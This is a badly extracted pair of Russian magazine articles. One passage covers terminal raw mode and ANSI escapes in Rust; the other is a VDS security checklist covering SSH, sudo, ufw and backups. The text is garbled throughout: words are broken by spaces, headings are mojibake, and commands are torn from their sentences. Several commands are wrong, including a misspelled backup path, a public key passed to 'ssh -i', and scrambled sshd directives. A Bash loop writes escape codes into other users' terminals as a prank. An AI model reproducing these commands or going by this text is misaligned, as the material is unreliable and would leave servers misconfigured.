Вы хотите завершить программу? [д/н]

Од нако, как мы обсужда ли в начале статьи, pty пос троч но буфери зиру ет ввод
STDIN. Это озна чает, что при ложе ние смо жет про честь ввод толь ко пос ле
того, как поль зователь наж мет Enter, пред варитель но вве дя одно бук венный
ответ.

Что бы избе жать этой проб лемы, мы можем перек лючить тер минал в необ- 
рабаты ваемый режим. В таком слу чае нам уда ется дос тигнуть сле дующих
пре иму ществ:

STDIN чита ет ввод посим воль но;•
ко ман да  перес тает работать.• echo

Спе циаль ная обра бот ка вво да отклю чает ся (нажатие ком бинации кла виш Ctrl
+ C боль ше не отправ ляет сиг нал SIGINT тер миналу).

Рас смот рим неболь шую прог рам мку, демонс три рующую опи сан ное:

 use nix::sys::termios;

  fn set_raw_mode() {
       let mut tio = termios::tcgetattr(0).expect("невозможно получить 
атрибут терминала");
    termios::cfmakeraw(&mut tio);
       match termios::tcsetattr(0, termios::SetArg::TCSANOW, &tio) {

         Ok(_) => {}
          Err(e) => panic!("ошибка {:?}", e),

   };
}

  fn main() {
   set_raw_mode();
        let mut buffer = [0; 1];
      let stdin = io::stdin();
       let mut handle = stdin.lock();
    loop {
       print!("\n\r");
       print!("Вы хотите завершить программу? [д/н]»);
       io::stdout().lock().flush().unwrap();
       handle.read_exact(&mut buffer).unwrap();
       if buffer == [108] { // д
           break;
       }
   }
}

Об рати вни мание: в этой прог рамме сно ва исполь зует ся ящик , но на этот

раз из него нам нужен интерфейс . Он поз воля ет получить кон троль
над тер миналом, в котором выпол няет ся наше при ложе ние, и перек лючить
его в необ рабаты ваемый режим. Переда ваемое коман де  в качес- 

тве парамет ра чис ло озна чает сле дующее: 0 — фай ловый дес крип тор STDIN,
1 — STDOUT. В рас смат рива емой прог рамме оба зна чения экви вален тны.

nix
termios

tcgetattr

Не обра баты ваемый режим — широко рас простра нен ное свой ство тер- 
миналь ных при ложе ний. В нем поль зователь ский ввод не дуб лиру ется, и при- 
ложе ние может выпол нять с ним любые дей ствия:

из менять цвет шриф та в зависи мос ти от кор рек тнос ти коман ды (как
во мно гих сов ремен ных коман дных обо лоч ках);

•

кон тро лиро вать вво димый текст, что бы он не вылезал за гра ницы опре- 
делен ных эле мен тов управле ния;

•

ре аги ровать непос редс твен но на вво димые сим волы, не дожида ясь
нажатия кла виши Enter.

•

Raw Mode

Пос ле запус ка при ложе ния нажатие любой кла виши будет дуб лировать стро ку
воп роса: «Вы хотите завер шить прог рамму? [д/н]», нажатие кла виши с бук вой

 завер шит при ложе ние.д

ÈÑÏÎËÜÇÓß ÏÐÈÎÁÐÅÒÅÍÍÛÅ ÇÍÀÍÈß, ÑÄÅËÀÅÌ ÏÎÄËßÍÊÓ!

Пом нишь изби тую ман тру: «В Linux все явля ется фай лом»? Pty, как нет рудно
догадать ся, тоже файл. Поэто му мы можем най ти наш pty с помощью коман- 
ды .ps

Я запус тил нес коль ко тер миналов, сре ди которых Bash, Fish и Terminator.
Коман да  в стол бце  вывела номера псев дотер миналов, к которым они

под клю чены. Таким обра зом,  соот ветс тву ет . Давай пош- 
лем «При вет!» от  к .

ps TTY
pts/1 /dev/pts/1

/dev/pts/1 /dev/pts/4

В при мере выше мы перенап равили STDOUT коман ды  в STDOUT сосед- 
него псев дотер минала (pty). У нас получи лось орга низо вать чат из 80-х годов
прош лого века! Мы можем переда вать не толь ко чита емые сим волы, но и
escape-пос ледова тель нос ти ANSI.

echo

В при мере выше мы отпра вили стро ку «Всем\033[10Cпри вет!» из 
в . И эму лятор тер минала на  интер пре тиро вал

escape-пос ледова тель ность по всем пра вилам. В этом слу чае мы ска зали:
«Преж де чем вывес ти вто рое сло во, перед винь кур сор на десять колонок
впе ред».

/dev/pts/4
/dev/pts/0 /dev/pts/0

При пом ни кол легам (одноклас сни кам, одногруп пни кам) нас тавле ния
о том, что нель зя под клю чать ся к сер веру под одной учет кой. Есть escape-
код, дела ющий кур сор невиди мым: . Обратно го

эффекта мож но добить ся, выпол нив коман ду . Ясное

дело, при веден ные коман ды воз дей ству ют на «свой» тер минал. Мяг ко говоря,
будет стран но, если у всех поль зовате лей в кон соли про падет кур сор. Что бы
это го дос тичь, надо в обо лоч ке Bash запус тить нехит рый код:

echo -en "\033[?25l"
echo -en «\033[?25h"

i    ptmx     
 

for in $(ls /dev/pts | grep -v ); do echo -en "\033[?25l" > /
dev/pts/$i; done

Об рати вни мание, ни в одном тер минале не отоб ража ется тек сто вой
кур сор

ÇÀÊËÞ×ÅÍÈÅ

В этой статье мы в деталях рас смот рели раз ные час ти эму лято ра тер минала,
а так же то, как они вза имо дей ству ют. Мы написа ли нес коль ко прог рамм
на язы ке Rust, что бы про демонс три ровать воз можнос ти плат формы
и показать наг лядные при меры того, как дан ные интер пре тиру ются и отоб- 
ража ются на экра не.

Я наде юсь, ты узнал что-то новое или хотя бы углу бил име ющиеся зна ния.
Так же я наде юсь, что ты вдох новил ся про дол жить раз работ ку при ложе ний
для этой плат формы.

WWW

 — замеча тель ная статья
про TTY/pty, исто рию тер миналов в Linux/Unix

•The TTY demystied

 — базовые разъ- 
ясне ния по теме escape-пос ледова тель нос тей
ANSI

•ANSI escape code (Wikipedia)

 — велико леп ное вве дение в исполь- 
зование escape-кодов вмес те с Python

•Build your own Command Line with ANSI escape
codes

 — полез ный
ресурс по той же темати ке

•Valid ANSI Mode Control Sequences

https://www.linusakesson.net/programming/tty/
https://en.wikipedia.org/wiki/ANSI_escape_code
https://www.lihaoyi.com/post/BuildyourownCommandLinewithANSIescapecodes.html
https://vt100.net/docs/vt100-ug/chapter3.html#S3.3.3
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АДМИН

Вир туаль ный сер вер годит ся для решения очень мно гих
задач, тем более что сто ит его арен да недоро го. Если ты
поль зуешь ся VDS, обя затель но обра ти вни мание на этот
неболь шой чек-лист, по которо му нуж но прой тись пос ле
покуп ки вир туаль ного сер вера. Если про игно риро вать эти
прос тые пра вила, в безопас ности сис темы обра зует ся серь- 
езная дыра. В статье рас смат рива ется нас трой ка VDS
на при мере Ubuntu, но при веден ные инс трук ции дол жны
работать в боль шинс тве сов ремен ных дис три бути вов.

WARNING

Эта статья — не линей ная инс трук ция, которую
мож но сле по выпол нять. Сна чала про читай ее,
вник ни, пой ми, что тебе нуж но, а что нет, и толь- 
ко потом сле дуй рекомен даци ям! Если ты прос то
ско пиру ешь некото рые коман ды в рутовую кон- 
соль, ты можешь потерять дос туп к сер веру. Сап- 
порт тебе, конеч но, поможет, но пот рачен ное
вре мя ник то не вер нет.

1. ÌÅÍßÅÌ ÏÀÐÎËÜ ÏÎËÜÇÎÂÀÒÅËß ROOT

Как пра вило, пос ле заказа сер вера тебе сооб щают его IP-адрес и пароль
поль зовате ля. При чем он прек расно виден в панели управле ния вир туаль ным
сер вером. Про вай дер, если он сге нери ровал этот пароль, его зна ет и хра нит
в базе дан ных — ведь его где-то записа ли, что бы показы вать тебе каж дый
раз в панели управле ния.

К тому же пароли от сер вера обыч но генери руют ся слу чай ным обра зом
и слож ны для под бора, а вот пароли, отоб ража емые в панели управле ния,
не всег да соот ветс тву ют этим тре бова ниям. Поэто му пер вым делом меня ем
пароль root. Счи тай это не параной ей, а прос той пре дос торож ностью.
Не забывай менять пароль каж дые два-три месяца — так же из сооб ражений
безопас ности. Зай ди по SSH как root и вве ди коман ду

passwd 

Да, при вво де сим волы не отоб ража ются — нет ни букв, ни цифр, ни звез- 
дочек, это нор маль но. Вве ди новый пароль и наж ми Enter. На пер вом эта пе
мы себя обе зопа сили и можем прис тупить к нас трой ке.

Су щес тву ет нес коль ко стра тегий защиты учет ной записи root. Пер вая зак- 
люча ется в сле дующем: ты соз даешь учет ку поль зовате ля с извес тным толь ко
тебе име нем, пре дос тавля ешь ей воз можность исполь зовать коман ду 

(что бы ты мог редак тировать фай лы кон фигура ции и уста нав ливать софт),
а затем отклю чаешь вход для root по SSH. На выходе получа ем пароль ную
аутен тифика цию, но будет исполь зовать ся учет ная запись, имя которой
извес тно лишь тебе. Пре иму щес тва сле дующие: ник то не взло мает учет ку
root, пос коль ку она будет вык лючена. Недос таток пря чет ся в сло ве «пароль- 
ная».

sudo

Са ма по себе пароль ная аутен тифика ция не так надеж на, как аутен- 
тифика ция по пуб лично му клю чу. Вто рая стра тегия как раз и зак люча ется
в исполь зовании такой аутен тифика ции. Недос таток — более слож ная нас- 
трой ка, преж де все го для конеч ных поль зовате лей: при дет ся генери ровать
пару клю чей, и для челове ка, который никог да это го не делал, понача лу
это может показать ся слож ным. Но, как пра вило, на арен дован ном VDS мало
кто соз дает мно го учет ных записей для вхо да по SSH — обыч но исполь зует ся
одна-две учет ки, если адми нов нес коль ко. Пре иму щес тва аутен тифика ции
по пуб лично му клю чу — ник то не смо жет подоб рать пароль и, сле дова тель но,
получить дос туп к тво ему сер веру. Если ты будешь исполь зовать аутен- 
тифика цию по клю чу, сме ло про пус кай пун кты 2 и 4 — не нуж но соз давать
допол нитель ную учет ку и вно сить ее в sudoers. А вот про межу точ ный
пункт 3 обя затель но про читай, так как удоб ный редак тор тебе при годит ся.

2. ÑÎÇÄÀÅÌ ÎÁÛ×ÍÎÃÎ ÏÎËÜÇÎÂÀÒÅËß

Пос ле покуп ки VDS поль зовате лю сооб щают пароль root, поль зователь
копиру ет его в про филь сво его SSH-кли ента. Но это в кор не неп равиль но.
Во-пер вых, учет ная запись root — это всем извес тное имя, и, ког да зло умыш- 
ленник попыта ется взло мать твой сер вер методом гру бой силы, он будет
пытать ся получить имен но учет ную запись root. Все прос то: име на соз данных
тобой поль зовате лей он не зна ет, а root есть у всех. Поэто му нам нужен обыч- 
ный поль зователь, под которым ты будешь работать пос тоян но. Соз даем
поль зовате ля (имя нуж но изме нить на свое собс твен ное):

adduser user 
passwd user 

Пер вая коман да добав ляет учет ную запись с име нем , вто рая изме няет

пароль для нее. Толь ко не соз давай поль зовате ля , пожалуй ста!

user
admin

Что бы этот поль зователь мог работать с пра вами root, нуж но добавить его
в , но сна чала понадо бит ся выпол нить один про межу точ ный шаг.sudoers

3. ÓÑÒÀÍÀÂËÈÂÀÅÌ ÓÄÎÁÍÛÉ ÐÅÄÀÊÒÎÐ

Ис поль зуемый боль шинс твом про вай деров по умол чанию редак тор Vi
неудоб ный и тре бует спе циаль ных зна ний, что нем ного шокиру ет начина ющих
поль зовате лей.

Пе ред уста нов кой любого соф та пер вым делом обно ви спис ки пакетов.
Дела ется это с помощью коман ды . Обновлять спи сок пакетов

нуж но как минимум один раз — перед пер вой уста нов кой. Пос ле это го
обновле ние дела ют по мере необ ходимос ти.

apt update

# apt update

Итак, уста нови любой тек сто вый редак тор, который тебе нра вит ся. Нап ример,
удоб ный редак тор nano:

# apt install nano

За пус тить отдель но редак тор мож но коман дой . Смот рим, где находит ся

этот редак тор:

nano

which nano 

Обыч но это каталог . Теперь нуж но сде лать так, что бы этот редак- 

тор исполь зовал ся по умол чанию. В сов ремен ном Ubuntu это дела ется так:

/bin/nano

update-alternatives --config editor 

Да лее тебе нуж но прос то выб рать nano из спис ка пред лага емых вари антов.
Если дан ный спо соб не сра ботал (нет коман ды ), мож- 

но пой ти прос тым путем и про писать перемен ную окру жения :

update-alternatives
EDITOR

export EDITOR=/bin/nano 

Что бы перемен ная окру жения  уста нав ливалась при каж дом вхо де

в сис тему, отре дак тируй файл , который находит ся в домаш нем
катало ге поль зовате ля. Добавь в него коман ду

EDITOR
.bashrc

export EDITOR=/bin/nano 

Об рати вни мание, что это нуж но сде лать для каж дого поль зовате ля.
Для поль зовате ля root домаш ний каталог — . Для поль зовате ля

 — .
/root

denis /home/denis
Пос ле это го все коман ды, вызыва ющие редак тор по умол чанию, будут

исполь зовать удоб ный редак тор nano. Одна из таких команд — .visudo

4. ÏÐÅÂÐÀÙÀÅÌÑß Â ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ

Ра нее мы соз дали обыч ного поль зовате ля . Теперь нуж но прев ратить его
в адми нис тра тора, то есть пре дос тавить воз можность исполь зовать .

Вве ди в тер минале коман ду

user
sudo

visudo 

Эта коман да запус тит тек сто вый редак тор для изме нения фай ла кон фигура- 
ции sudoers. Най ди и рас коммен тируй строч ку

   =(wheel ALL ALL)       ALL

Ука зан ная строч ка раз реша ет всем поль зовате лям груп пы  исполь- 

зовать коман ду . Если она уже рас коммен тирова на, ничего делать

не нуж но. Наж ми F10 для выхода из редак тора.

wheel
sudo

Пос ле это го добавь нашего поль зовате ля user в груп пу :wheel

usermod -aG wheel user 

Да лее отклю чись от SSH-сер вера и попытай ся вой ти как поль зователь 

с задан ным ранее паролем. Обра ти вни мание, что, ког да ты работал
как поль зователь , приг лашение коман дной стро ки име ло вид , теперь

оно выг лядит как . Залоги нив шись, вве ди коман ду

user

root #
$

bash sudo 

Ес ли приг лашение коман дной стро ки поменя лось на , теперь у тебя есть

пра ва . Такой трюк поз воля ет вво дить коман ды от име ни 

без исполь зования коман ды , что, несом ненно, удоб нее.

#
root root

sudo

5. ÇÀÏÐÅÙÀÅÌ ÂÕÎÄ ÊÀÊ ROOT ÏÎ SSH

Де ло оста лось за малым — зап ретить поль зовате лю root вхо дить в сис тему
по SSH. Для это го, работая уже под новым поль зовате лем user, вве ди коман- 
ду

sudo mcedit /etc/ssh/sshd_config 

До бавь в кон фигура цион ный файл сер вера SSH такую стро ку (или рас- 
коммен тируй ее):

PermitRootLogin no 

Сох рани файл кон фигура ции, рес тарта ни SSH ( )

и поп робуй под клю чить ся как поль зователь root — у тебя не получит ся.

systemctl restart ssh

WARNING

Пе резаг ружать SSH нуж но толь ко в том слу чае,
если ты убе дил ся, что можешь вой ти как поль- 
зователь user (от име ни это го поль зовате ля мож- 
но ввес ти коман ду sudo)! Ина че есть риск
потерять дос туп к сер веру, и тог да при дет ся
обра щать ся в сап порт.

Как вари ант, мож но не отклю чать вход под учет ной записью root, а нас тро ить
вход по клю чу (см. далее) и лишь пос ле того, как ты убе дишь ся, что можешь
вой ти как root по клю чу, в кон фиг SSH добавить строч ку

 -PermitRootLogin without password

Ко неч но, пос ле это го нуж но опять перезаг ружать SSH.

6. ÂÕÎÄÈÌ ÍÀ ÑÅÐÂÅÐ ÏÎ ÊËÞ×Ó

Су щес тву ет прак тика аутен тифика ции по клю чу (public key authentication), а не
по паролю. Пре иму щес тва и недос татки это го метода рас смат ривать
не будем, здесь одни пре иму щес тва — пароль ник то не под берет, так как его
поп росту нет. Это самый надеж ный спо соб аутен тифика ции.

Прин цип аутен тифика ции по клю чу сле дующий: соз дает ся пара клю чей
(откры тый и зак рытый). Зак рытый ключ хра нит ся на сто роне кли ента, и в иде- 
але он не дос тупен ни для кого. Откры тый заг ружа ется на сер вер, к которо му
нуж но получить дос туп.

В иде аль ном мире клю чи дол жны генери ровать сами поль зовате ли. Сге- 
нери ровать их мож но с помощью коман ды , а так же исполь зуя

фун кци ональ ность SSH-кли ента (нап ример, воз можность соз дания клю чевой
пары есть в Bitvise SSH Client и во мно гих дру гих кли ентах). Если у тебя Linux,
никакой допол нитель ный софт уста нав ливать не нуж но. Вве ди коман ду

ssh-keygen

 rsa $ mkdir ~/.ssh; ssh-keygen -t -b 2048 -f ~/.ssh/id_rsa 

Здесь мы генери руем RSA-клю чи дли ной 2048 бит. Пос ле того как клю чи
будут сге нери рова ны, пуб личный ключ ста нет дос тупен по име ни 

. Далее нуж но передать откры тый ключ на сер вер. Самый прос той
и пра виль ный спо соб сде лать это — исполь зовать коман ду :

~/.ssh/
id_rsa.pub

ssh-copy-id

ssh-copy-id username@remote_host 

При выпол нении этой коман ды ты можешь уви деть сле дующее:

 

 

 

 

The authenticity of host '111.222.33.44 (111.222.33.44)' can't be 
established.
ECDSA key fingerprint is fd:ff:c4:a9:55:be:a3:f4:e1:55:01:ac:d8:7d:12:
fb.
Are you sure you want to continue connecting (yes/no)? yes

Твой локаль ный компь ютер прос то не рас позна ет уда лен ный сер вер —
это нор маль но при пер вом под клю чении. Вве ди  (имен но , а не )

и наж ми Enter. Коман да  най дет соз данный ключ и отпра вит его
на сер вер. Содер жимое клю ча  будет ско пиро вано

в файл  уда лен ной учет ной записи. Дан ный спо соб

сра бота ет, если пока еще дей ству ет аутен тифика ция по паролю. На эта пе
пер воначаль ной нас трой ки это обыч ное дело — сна чала все поль зовате ли
генери руют клю чевые пары и заг ружа ют на сер вер свои откры тые клю чи,
а затем зак рыва ется вход по паролю. Но если вход по паролю уже отклю чен,
а тебе надо заг рузить ключ для нового поль зовате ля, то пот ребу ется най ти
спо соб дос тавить ключ (файл ) на сер вер. Далее нуж но перей ти

в каталог  учет ной записи, для которой нас тра ивает ся ключ, и помес- 

тить содер жимое  в конец фай ла :

yes yes y
ssh-copy-id

~/.ssh/id_rsa.pub
~/.ssh/authorized_keys

id_rsa.pub
~/.ssh

id_rsa.pub authorized_keys

cat id_rsa.pub >> authorized_keys 

Но не будем стро ить лиш ние пред положе ния и усложнять себе жизнь. Счи-
таем, что дос туп по паролю пока открыт и дос таточ но исполь зовать коман ду

 для заг рузки клю чей на сер вер. Ког да откры тые клю чи всех
поль зовате лей заг ружены, мож но отклю чить вход по паролю. Для это го
открой в любом тек сто вом редак торе файл  и уста- 

нови в зна чение  дирек тиву :

ssh-copy-id

/etc/ssh/sshd_config
No PasswordAuthentication

 PasswordAuthentication no

Так же нуж но убе дить ся, что три сле дующие дирек тивы уста нов лены таким
обра зом:

 PubkeyAuthentication yes
 % /. /AuthorizedKeysFile h ssh authorized_keys

 -PermitRootLogin without password

Пер вая вклю чает аутен тифика цию по пуб лично му клю чу, а вто рая ука зыва ет
имя фай ла, в котором дол жны хра нить ся клю чи. Третья раз реша ет вход
как root без исполь зования пароля (по клю чу).

Ос талось перезаг рузить SSH:

systemctl restart ssh 

На сто роне кли ента вой ти по клю чу на SSH-сер вер мож но так:

ssh -i ~/.ssh/id_rsa.pub user@example.com 

Здесь мы ука зыва ем имя фай ла клю ча, имя поль зовате ля и имя сер вера.
В Windows нуж но нас тра ивать исполь зуемый тобой SSH-кли ент, нап ример
в Bitvise SSH Client необ ходимо нажать кноп ку-ссыл ку Client key manager
на вклад ке Login и в появив шемся окне нажать кноп ку Generate New. В окне
Generate New Keypair мож но прос то вос поль зовать ся кноп кой Generate.
А мож но допол нитель но защитить клю чевую пару паролем — для это го ввес ти
пароль, под твер дить его и нажать кноп ку Generate. Рекомен дует ся исполь- 
зовать пароль ную фра зу — если во вре мя тво его отсутс твия кто-то запус тит
SSH-кли ент и поп робу ет под клю чить ся к сер веру, исполь зуя твой откры тый
ключ, у него ничего не получит ся, так как он не зна ет пароль.

Па роль нужен для дос тупа к клю чевой паре толь ко на локаль ном компь- 
юте ре, он не переда ется в каком бы то ни было виде на сер вер. Пос ле того
как клю чевая пара сге нери рова на, нуж но нажать кноп ку Export для экспор та
пуб лично го клю ча. Фор мат — OpenSSH. Пос ле того как ты сох ранишь откры- 
тый ключ в каком-нибудь фай ле, заг рузи этот ключ на сер вер и добавь его
содер жимое в файл .~/.ssh/authorized_keys

Спо собов мно го, нап ример мож но исполь зовать учет ку, в которой уже
нас тро ена аутен тифика ция для заг рузки это го фай ла. Мож но заг рузить ключ
на какой-то сайт и на сер вере ска чать его с помощью коман ды 

. В общем, про яви фан тазию, и у тебя все получит ся. Пос ле

того как сер вер «узна ет» твой ключ, в основном окне кли ента выбери Initial
method — publickey, а из спис ка Client Key — про филь, в котором ты сох ранил
ключ.

wget http://
адрес/имя_файла

Client key manager

Ос новное окно Bitvise SSH Client

Продолжение статьи →

mailto:dhsilabs@gmail.com
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7. ÍÀÇÍÀ×ÀÅÌ SSH ÍÅÑÒÀÍÄÀÐÒÍÛÉ ÏÎÐÒ

По умол чанию SSH исполь зует порт 22. Но ты можешь перенас тро ить его
на дру гой порт из сооб ражений безопас ности — тог да для под клю чения
по SSH нуж но знать еще и номер пор та. Открой 
и най ди дирек тиву . Вмес то  ука жи дру гой порт:

/etc/ssh/sshd_config
Port 22

 Port 2206

Пос ле это го переза пус ти SSH и перело гинь ся. При вхо де в нас трой ках кли- 
ента ука жи новый номер пор та.

8. ÍÀÑÒÐÀÈÂÀÅÌ ÁÐÀÍÄÌÀÓÝÐ

Ра зоб равшись с безопас ностью поль зовате лей, нуж но нас тро ить бран дма- 
уэр. Тра дици онно в качес тве бран дма уэра (филь тра пакетов) в Ubuntu
исполь зует ся iptables, но пос коль ку Ubuntu позици они рует ся как прос той дис- 
три бутив, то и обо лоч ка для iptables была раз работа на соот ветс тву ющая —
UFW (Uncomplicated Firewall). Это нес ложный фай рвол. Пер вым делом убе- 
дись, что пакет  вооб ще уста нов лен, и уста нови его, если это не так:ufw

apt ufw sudo install 

Áàçîâàÿ íàñòðîéêà

Те перь пос мотрим сос тояние бран дма уэра:

sudo ufw status verbose 

По умол чанию филь тр пакетов вык лючен, поэто му коман да выведет сооб- 
щение . Не нуж но спе шить вклю чать фай рвол: сна чала его

тре бует ся нас тро ить. Ведь если порт 22 ока жет ся по умол чанию недос тупен,
то ты потеря ешь дос туп к сво ему VDS. Конеч но, сап порт поможет, но это нап- 
расная тра та вре мени.

Status: inactive

С базовы ми нас трой ками бран дма уэр зап реща ет все вхо дящие соеди- 
нения и раз реша ет все исхо дящие. Такая полити ка иде аль на с точ ки зре ния
безопас ности — ведь если кто-то (и ты в том чис ле) захочет к нему под клю- 
чить ся, у него это не получит ся. В то же вре мя при ложе ния на сер вере смо гут
соз давать исхо дящие соеди нения.

Рас смот рим две коман ды:

ufw default deny incoming 
ufw default allow outgoing 

Эти два пра вила как раз и зада ют полити ку по умол чанию: зап реща ются все
вхо дящие соеди нения и раз реша ются все исхо дящие.

Итак, все вхо дящие соеди нения зап рещены. Что бы до сер вера мож но
было дос тучать ся по опре делен ному пор ту, его нуж но сна чала открыть. UFW
хорош тем, что адми ну даже не тре бует ся пом нить номер пор та — необ- 
ходимо знать толь ко наз вание сер виса. Нап ример, вот как мож но раз решить
под клю чение по SSH:

ufw allow ssh 

При этом UFW сам соз даст пра вило для пор та 22 — имен но этот порт исполь- 
зует ся для SSH. Бран дма уэр зна ет пор ты и име на всех рас простра нен ных
служб (HTTP, SSH, FTP, SFTP и так далее).

Од нако если ты перенас тро ил SSH на нес тандар тный порт, нуж но явно
ука зать номер пор та:

ufw allow 2206 

Пос ле раз решения SSH (это глав ное, что бы сей час фай рвол нам не разор вал
соеди нение) мож но вклю чить ufw сле дующей коман дой:

ufw enable

Не обхо димо под твер дить запуск:

 

 

Command may disrupt existing ssh connections. Proceed with operation 
(y|n)?

Ба зовая нас трой ка

Раз берем ся, что про изош ло. Сна чала мы раз решили SSH и получи ли ответ
, то есть пра вила обновле ны. Затем мы вклю чаем фай рвол

и получа ем сооб щение, что он акти вен и будет запус кать ся при заг рузке сис- 
темы. На этом базовая нас трой ка выпол нена — SSH успешно работа ет, и мы
можем прис тупить к даль нейшей нас трой ке филь тра пакетов.

Rules updated

Ñîçäàíèå ïðàâèë äëÿ ñåðâèñîâ

Те перь нуж но раз решить работу дру гих при ложе ний. Как пра вило, тре бует ся
раз решить служ бу HTTP (веб-сер вер), FTP (если этот сер вис вам нужен)
и пос тарать ся не забыть о HTTPS (что очень важ но в пос леднее вре мя):

ufw allow http 
ufw allow https 
ufw allow ftp 

Сде лать то же самое мож но было бы и по номерам пор тов:

ufw allow 80 
ufw allow 443 
ufw allow 21 

При желании мож но раз решить целый диапа зон пор тов, ука зав при этом
тран спортный про токол (UDP или TCP):

sudo ufw allow 2000:2200/tcp 
sudo ufw allow 4000:4400/udp 

Ðàçðåøàåì IP-àäðåñà

Ufw поз воля ет раз решить опре делен ному IP-адре су дос туп ко всем пор там
сер вера, нап ример:

ufw allow from 111.222.33.44 

Ес ли нуж но раз решить дос туп кон крет ному IP-адре су толь ко к опре делен ному
пор ту, то дела ется это так:

ufw allow from 111.222.33.44 to any port 22 

Здесь мы раз реша ем не все под клю чения к SSH, а толь ко под клю чения с IP-
адре са .111.222.33.44

WARNING

Де лать это нуж но толь ко в том слу чае, если у тебя
пос тоян ный IP — такой IP мож но получить
за допол нитель ную пла ту у тво его про вай дера.
Обыч но у поль зовате лей динами чес кие IP-адре- 
са — если ты пря мо сей час пос мотришь свой
внеш ний IP, ука жешь его в коман де выше, то,
как толь ко твой IP поменя ется, ты лишишь ся дос- 
тупа к сер веру. Так что будь осто рожен!

Раз решить дос туп целого диапа зона IP-адре сов (нап ример, ког да у адми на
динами чес кий IP) мож но таким обра зом:

ufw allow from 123.45.67.89/24 to any port 22 

Çàïðåùàåì IP-àäðåñà è ñëóæáû

Что бы зап ретить дос туп с опре делен ного IP-адре са, вос поль зуйся вот такой
коман дой:

ufw deny from 123.45.67.89 

При желании мож но зап ретить все под клю чения к опре делен ной служ бе:

ufw deny ftp 

Óäàëåíèå è ñáðîñ ïðàâèë

Сбро сит все пра вила сле дующая коман да:

ufw reset 

Но до того, как вво дить эту коман ду, убе дись, что ты отклю чил фай рвол
(коман да ), ина че потеря ешь дос туп по SSH.ufw disable

Уда лить кон крет ное пра вило мож но по номеру. Сна чала вве ди сле дующую
коман ду, что бы узнать номер пра вила:

ufw status numbered 

Да лее вве ди коман ду такого вида:

ufw delete <номер правила> 

9. ÍÀÑÒÐÀÈÂÀÅÌ ÐÅÇÅÐÂÍÎÅ ÊÎÏÈÐÎÂÀÍÈÅ

Как пра вило, в админке управле ния сер верами и дру гими услу гами про вай- 
дера есть воз можность нас тро ить резер вное копиро вание для каж дого сер- 
вера. В зависи мос ти от усло вий тариф ного пла на бэкап может быть бес плат- 
ным (то есть ты можешь исполь зовать какой-то объ ем прос транс тва
под бэкапы), а может быть плат ным. Как показы вает прак тика, час то про вай- 
деры тре буют пла ту за хра нение бэкапов, поэто му сама воз можность резер- 
вно го копиро вания хоть и име ется, но вык лючена, что бы у кли ента не было
допол нитель ных трат.

У тебя, как у адми на VDS, есть два вари анта. Пер вый — исполь зовать
средс тва резер вно го копиро вания про вай дера, вто рой — нас тро ить резер- 
вное копиро вание на сво ем сер вере. Бэкап на сто роне про вай дера надеж- 
нее, так как резер вная копия хра нит ся за пре дела ми сер вера. Вто рой вари- 
ант менее надежен, пос коль ку если что-то слу чит ся с фай ловой сис темой
сер вера, то ты потеря ешь все свои дан ные. Как быть? Луч ше все го исполь- 
зовать ком биниро ван ную сис тему — нас тро ить бэкапы на сто роне про вай-
дера со сред ней пери одич ностью, ска жем раз в неделю. При такой пери- 
одич ности счет за бэкапы не будет кос мичес ким. Зато, если что-то слу чит ся
с фай ловой сис темой, ты смо жешь вос ста новить дан ные, пусть и не самые
акту аль ные, но это луч ше, чем начинать все с нуля.

А теперь погово рим о бэкапе вруч ную на сто роне сер вера. Есть целые
решения для резер вно го копиро вания. Нуж ны они или нет — решать толь ко
тебе. Я же пред лагаю пой ти по самому прос тому пути. Пер вым делом надо
опре делить ся, какие дан ные сто ит резер вировать. Если у тебя на сер вере
веб-сайт (нап ример, интернет-магазин), то копиро вать нуж но толь ко фай лы
кор невого катало га веб-сер вера (DocumentRoot, обыч но это ,
но зависит от нас тро ек сер вера) и базу дан ных.

/var/www/html

Фай лы веб-сер вера мож но копиро вать раз в неделю — они меня ются
отно ситель но нечас то. Если ты дела ешь бэкап средс тва ми про вай дера, ска- 
жем каж дую пят ницу, то бэкап фай лов сер вера мож но делать в середи не
недели — в сре ду. Тог да у тебя будет на вся кий слу чай две резер вные копии
за неделю. Мож но и чаще — глав ное, что бы хва тило мес та на дис ке. Если
у тебя 1 Тбайт, а сайт весит 250 Гбайт, то очень час то бэкапы соз давать
не при дет ся.

Соз дать архив с резер вной копи ей фай лов сай та мож но коман дой

zip -r /backups/latest.zip /var/ww/html 

Эту коман ду нуж но добавить в рас писание crontab. Вве ди коман ду 
 и добавь строч ку:

crontab –
e

0 2  * * 3 /usr/bin/zip –r /backups/latest.zip /var/ww/html 

Де лать бэкап луч ше все го ночью, что бы сни зить наг рузку на сер вер. Здесь
копия будет соз давать ся по сре дам в два часа ночи. Рас паковать архив мож- 
но с помощью коман ды .unzip

Те перь о базе. Изме нения в базу дан ных вно сят ся пос тоян но: менед жеры
добав ляют информа цию о про дук тах, какой-то скрипт импорта изме няет цены
и остатки товаров, а посети тели дела ют заказы. Поэто му копия базы дол жна
соз давать ся раз в день. Для копии исполь зуем mysql-dump:

 100M mysqldump -u cp_user -p --opt cp_main_v2 --max_allowed_packet= > 
db-latest.sql 

Здесь  — имя поль зовате ля БД,  — имя базы дан ных,
опция  зада ет мак сималь ный раз мер пакета — на слу- 

чай, если БД занима ет нес коль ко гигов, эта опция тебя спа сет. Бэкап дела- 
ется в файл . Вос ста новить ся мож но так:

cp_user cp_main_v2
max_allowed_packet

db-latest.sql

3310 100M mysql --host=127.0.0.1 --port= --max_allowed_packet= -u cp_
user -p cp_main_v2 < /db-latest.sql 

Наз начение парамет ров дол жно быть понят но. Парамет ры  и  мож но

не ука зывать, если MySQL работа ет на localhost и исполь зует стан дар тный
порт. Коман ду соз дания дам па нуж но запус кать каж дый день, поэто му
в crontab добав ляем стро ку

host port

0 1    
100M 

* * * /usr/bin/mysqldump -u cp_user -p --opt cp_main_v2 
--max_allowed_packet= > /root/db-latest.sql 

Бэ кап будет сни мать ся каж дый день в час ночи (а в два мы запус каем соз- 
дание бэкапа фай лов).

Кро ме бэкапов не забывай о снап шотах! Перед каж дым зна чимым изме- 
нени ем на сер вере (вро де уста нов ки рас ширения, перес борки CMS,
обновле ния ПО, нап ример уста нов ки новой вер сии PHP) делай снап шот. Да,
всег да мож но вос ста новить ся из бэкапа, но бэкап у нас не самый све жий,
да и вре мени такое вос ста нов ление занима ет боль ше, чем вос ста нов ление
из снап шота. Снап шоты тоже плат ные, но их цена нич тожна на фоне прос тоя
production-сер вера.

